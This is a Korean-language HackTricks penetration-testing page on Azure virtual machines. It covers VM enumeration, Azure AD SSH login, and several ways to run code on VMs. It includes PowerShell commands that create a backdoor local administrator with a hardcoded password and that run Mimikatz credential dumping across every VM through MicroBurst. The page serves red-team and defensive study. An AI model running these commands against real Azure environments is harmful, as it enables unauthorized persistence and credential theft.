Az - Virtual Machines & Network

HackTricks 지원하기

기본 정보

[문서에서:] (https://learn.microsoft.com/en-us/azure/virtual-machines/overview) Azure 가상 머신은 Azure가 제공하는 여러 유형의 온디맨드, 확장 가능한 컴퓨팅 리소스 중 하나입니다. 일반적으로, 다른 선택지보다 컴퓨팅 환경에 대한 더 많은 제어가 필요할 때 가상 머신을 선택합니다. 이 문서는 가상 머신을 생성하기 전에 고려해야 할 사항, 생성 방법 및 관리 방법에 대한 정보를 제공합니다.

Azure 네트워크 정보

Azure 네트워크는 다양한 엔티티와 구성 방법을 포함합니다. 다양한 Azure 네트워크 엔티티에 대한 간략한 설명, 예제열거 명령을 찾을 수 있습니다:

Az - Azure Network

Azure Bastion

Azure Bastion은 Azure 포털을 통해 SSL을 통해 안전하고 완전 관리되는 RDP(원격 데스크톱 프로토콜) 및 SSH(보안 셸) 액세스 솔루션을 제공합니다. Azure 가상 네트워크 내에 통합되어 있어 RDP 및 SSH 연결을 사용하여 VM에 개인 IP로 연결할 수 있으며, 공용 IP의 필요성을 피할 수 있습니다. 이는 VM 액세스를 위한 공용 IP 할당 및 NSG 규칙 구성을 포함하는 전통적인 방법보다 더 안전하고 편리한 대안이 됩니다. 개발자와 IT 직원은 웹 브라우저를 사용하여 Azure 포털에서 VM에 안전하게 액세스할 수 있어 개발 및 테스트 환경을 위한 프로세스를 간소화합니다.

구독 내 모든 Azure Bastion 호스트를 나열하려면 다음 명령을 사용할 수 있습니다:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM 열거

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

VM에서 명령 실행하기

VM에서 AAD 로그인

AzureAD를 통해 인증된 사용자에게 접근을 허용하는 것이 가능합니다. 예를 들어 linux VM에 접근하려고 할 때: ssh username@azure-corp.com@1.1.1.1 (로그인 시 사용한 azurecorp와 함께 이메일을 사용하는 것이 중요합니다) 다음과 같은 오류가 발생할 수 있습니다:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

그냥 이 지침을 따르세요 https://microsoft.com/devicelogin로 가서 코드를 입력하고, 이메일과 비밀번호를 자격 증명으로 사용하면 SSH를 통해 연결할 수 있습니다(해당 사용자가 그렇게 할 수 있는 충분한 권한이 있는 경우: Virtual Machine Administrator Login 또는 Virtual Machine User Login 역할).

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

사용자 지정 스크립트 확장 실행

Azure 가상 머신(VM) 확장은 Azure VM에서 배포 후 구성 및 자동화 작업을 제공하는 작은 애플리케이션입니다. 예를 들어, 가상 머신에 소프트웨어 설치, 바이러스 백신 보호 또는 내부에서 스크립트를 실행할 수 있는 기능이 필요한 경우 VM 확장을 사용할 수 있습니다.

따라서 이를 작성할 수 있는 권한이 있다면 임의의 코드를 실행할 수 있습니다:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC)는 코드를 통해 호스트를 설정하는 데 사용되는 Ansible과 유사한 PowerShell 도구입니다. DSC는 Azure와 통합되어 특정 구성 파일을 업로드할 수 있습니다. 이러한 파일은 엄격한 구문을 준수해야 합니다. 특히, Azure의 DSC 확장은 제공된 그림에 표시된 대로 특정 형식 기준을 충족하는 파일에서 명령을 실행할 수 있습니다.

이러한 명령의 실행은 Az PowerShell의 Publish-AzVMDscConfiguration 함수에 의해 용이해집니다. 요구 사항에는 정의된 함수가 포함된 .PS1 파일이 필요하며, 파일은 .zip 파일로 압축되어야 합니다. 구문이 DSC에 대해 정확하지 않더라도 코드는 여전히 실행됩니다. 그러나 확장은 실행 상태를 "실패"로 표시하며, 실패 메시지로 인해 명령의 출력은 표시되지 않습니다.

VM Application Definitions

VM Application Definitions는 버전이 지정된 애플리케이션을 Azure VM에 반복적으로 배포할 수 있게 해줍니다. 이 리소스는 VM 간의 애플리케이션 배포 및 업데이트를 지원합니다. 이를 설정하기 위해서는 Az PowerShell에서 New-AzGalleryApplication 및 **New-AzGalleryApplicationVersion**과 같은 명령을 포함한 여러 단계가 필요합니다.

이 방법을 통해 애플리케이션이나 명령을 실행하는 것은 VM에 애플리케이션이 적용될 때 자동으로 설치되는 **"VMAppExtension"**을 포함합니다. 확장은 지정된 URI에서 파일을 가져오고 애플리케이션과 동일한 이름으로 확장자 없이 저장합니다. 파일을 올바르게 실행하려면 REST API 호출의 "ManageActions" 필드를 구성하여 파일의 이름을 적절한 확장자로 변경해야 합니다. 이 방법의 설정이 완료되면 제공된 그림에 표시된 구조와 유사하게 됩니다.

그러나 이 실행 방법은 상대적으로 느리며 애플리케이션이나 명령을 실행하는 데 약 3-4분이 소요됩니다. 이 프로세스와 관련된 파일은 특정 디렉터리에 저장됩니다 (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\는 애플리케이션 복사본, C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\는 실행 상태).

두 기술 모두 Azure 환경에서 명령을 실행하고 애플리케이션을 배포하는 독특한 방법을 제공하며, 각각 고유한 요구 사항, 단계 및 고려 사항이 있습니다.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs)는 Azure의 기능으로, Automation Account에서 구성된 Runbook을 지정된 HWG의 일부인 Azure Virtual Machine (VM)에서 실행할 수 있게 해줍니다. 이 실행은 VM에 설치된 확장을 통해 용이해지며, Runbook 코드를 VM에 배포합니다. 이 과정의 중요한 점은 실제 자격 증명이 실행에 영향을 미치지 않는다는 것입니다. 코드가 SYSTEM 또는 root로서 권한 상승된 상태로 실행되기 때문입니다.

Windows 10 VM을 사용하는 경우 중요한 세부 사항은 Runbook에 대해 PowerShell 버전을 지정해야 한다는 것입니다. PowerShell Version 5.1로 실행되도록 설정해야 하며, 7.1로 설정하면 실패하게 됩니다. 이는 PowerShell 7.1이 이러한 VM에 기본적으로 설치되어 있지 않기 때문입니다.

Azure의 이 기능은 하이브리드 환경에서 작업을 자동화하고 관리하는 강력한 방법을 제공하며, Azure VM에서 작업을 중앙 집중식으로 관리하고 실행할 수 있게 해줍니다.

References

Support HackTricks

Last updated